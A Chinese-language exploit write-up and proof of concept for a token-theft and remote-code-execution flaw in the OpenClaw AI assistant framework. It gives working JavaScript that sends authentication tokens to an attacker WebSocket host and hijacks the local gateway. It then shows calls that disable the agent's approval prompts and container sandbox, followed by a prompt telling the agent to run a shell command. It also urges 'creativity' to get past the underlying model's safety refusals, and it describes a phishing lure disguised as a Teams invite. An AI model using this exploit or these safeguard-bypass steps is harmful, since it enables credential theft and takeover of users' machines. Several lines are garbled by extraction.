受影响软件: OpenClaw (clawbot) < v2026.1.29
CVE ID: CVE-2026-25253
CVSS 评分: 8.8(高危)
影响: 未认证的远程攻击者可窃取认证令牌,并在受害者主机上实现远程代码执行
法律免责声明: 本代码及分析文章仅供授权的安全研究和教育目的使用。在未经明确书面许可的情况下,针对系统使用此漏洞利用工具属于非法且不道德的行为。作者对任何滥用行为不承担任何责任。
OpenClaw(前身为 Clawdbot,早期版本中称为 Moltbot)是一个在 macOS、Windows 或 Linux 上本地运行的 AI 助手框架。它支持 Anthropic 和 OpenAI 等云端模型,也支持本地模型。
Control UI 是一个单页应用,通过 /chat 提供服务。它通过 WebSocket 在 ws://127.0.0.1:18789/(或使用 TLS 时的 wss://host:18789/)与本地网关服务器通信。
受影响版本的关键安全特性:
localStorage 中noble-ed25519)建立type: "req"、、)"res""event"connect 帧中发送认证凭据和设备身份applySettingsFromUrl()该漏洞位于 Control UI 中的 applySettingsFromUrl() 函数中。
当 Control UI 加载时,该函数会从 URL 中读取 ?gatewayUrl= 查询参数,并将其存储为活动网关端点——且不验证其是否指向受信任的主机。
攻击者可以构造如下链接:
http://<target>/chat?gatewayUrl=ws://attacker.com
当受害者在 OpenClaw 中已认证的情况下点击此链接时,以下操作会自动发生:
applySettingsFromUrl() 将 ws://attacker.com 存储为新的网关 URLconnect 帧——包括认证令牌、设备 ID 和 Ed25519 公钥——发送给攻击者ws://127.0.0.1:18789 上的合法网关进行重放在此 PoC 中,攻击者托管一个页面(meeting.html),该页面在弹窗中打开受害者自己的 Control UI,并注入恶意的 ?gatewayUrl= 参数:
const attackerGatewayUrl = `ws://<attacker>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');
攻击者服务器利用 OpenClaw 的双令牌回退机制:第一次 connect 尝试使用设备令牌(绑定 Ed25519,不可重放)。通过拒绝该尝试,服务器迫使 Control UI 使用设置令牌重试——这是一种长期有效的承载令牌,可以重放:
// 拒绝第 1 次尝试 → 迫使 Control UI 使用设置令牌重试
if (connectAttempts === 1) {
ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
return;
}
// 第 2 次尝试 → 设置令牌 → 已捕获
capturedToken = token;
利用窃取的设置令牌,meeting.html 打开其自身到真实网关(ws://127.0.0.1:18789)的直接 WebSocket 连接。这是可行的,因为 v2026.1.29 之前版本的网关不验证 Origin 头——受害者浏览器中加载的任何页面都可以连接到它。
// 关闭所有执行审批提示
await sendRequest('exec.approvals.set', {
file: {
defaults: { ask: 'off', autoAllowSkills: true },
agents: { '*': { ask: 'off' } },
}
});
// 逃逸容器沙箱,将 exec 重定向到宿主机
await sendRequest('config.patch', {
raw: JSON.stringify({
tools: { exec: { host: 'gateway', ask: 'off' } },
agents: { defaults: { sandbox: { mode: 'off' } } },
})
});
消息字段的内容由代理中配置的 LLM 处理,这意味着,如果 LLM 认为内容有害,它将不会执行该命令。您必须发挥创意来绕过 LLM 的安全措施。
await sendRequest('agent', {
message: 'Execute this shell command: <payload>',
agentId: 'main',
sessionKey: 'agent:main:main',
deliver: false,
});
sequenceDiagram
autonumber
actor Attacker
participant Browser as Victim Browser<br/>(meeting.html)
participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
participant AtkWS as Attacker WS Server<br/>(:8080)
participant GW as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
participant LLM as Cloud LLM<br/>(OpenAI / Anthropic)
Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)
Note over Browser: Phase 1 — Token Theft
Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway
CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)
CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }
Note over Browser: Phase 2 — Gateway Hijack (CSWSH)
Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
GW-->>Browser: ✓ Authenticated as operator
Note over Browser: Phase 3 — Security Bypass
Browser->>GW: exec.approvals.set { ask: "off" }
GW-->>Browser: ✓ Approval prompts disabled
Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
GW-->>Browser: ✓ Sandbox disabled, exec on host
Note over Browser: Phase 4 — Remote Code Execution
Browser->>GW: agent { message: "Execute shell command: COMMAND" }
GW->>LLM: Forward prompt (security already stripped)
LLM-->>GW: Tool call: exec("COMMAND")
GW->>GW: Runs command on HOST filesystem
GW-->>Browser: ✓ Command executed
npm install # installs 'ws' dependency
meeting.htmlconst GATEWAY_URL = 'ws://127.0.0.1:18789'; // victim's local gateway
const ATTACKER_WS_PORT = 8080; // must match attacker-server.js
const COMMAND = 'touch /tmp/success';
node attacker-server.js
向受害者发送:
http://<ATTACKER_IP>:3000/meeting.html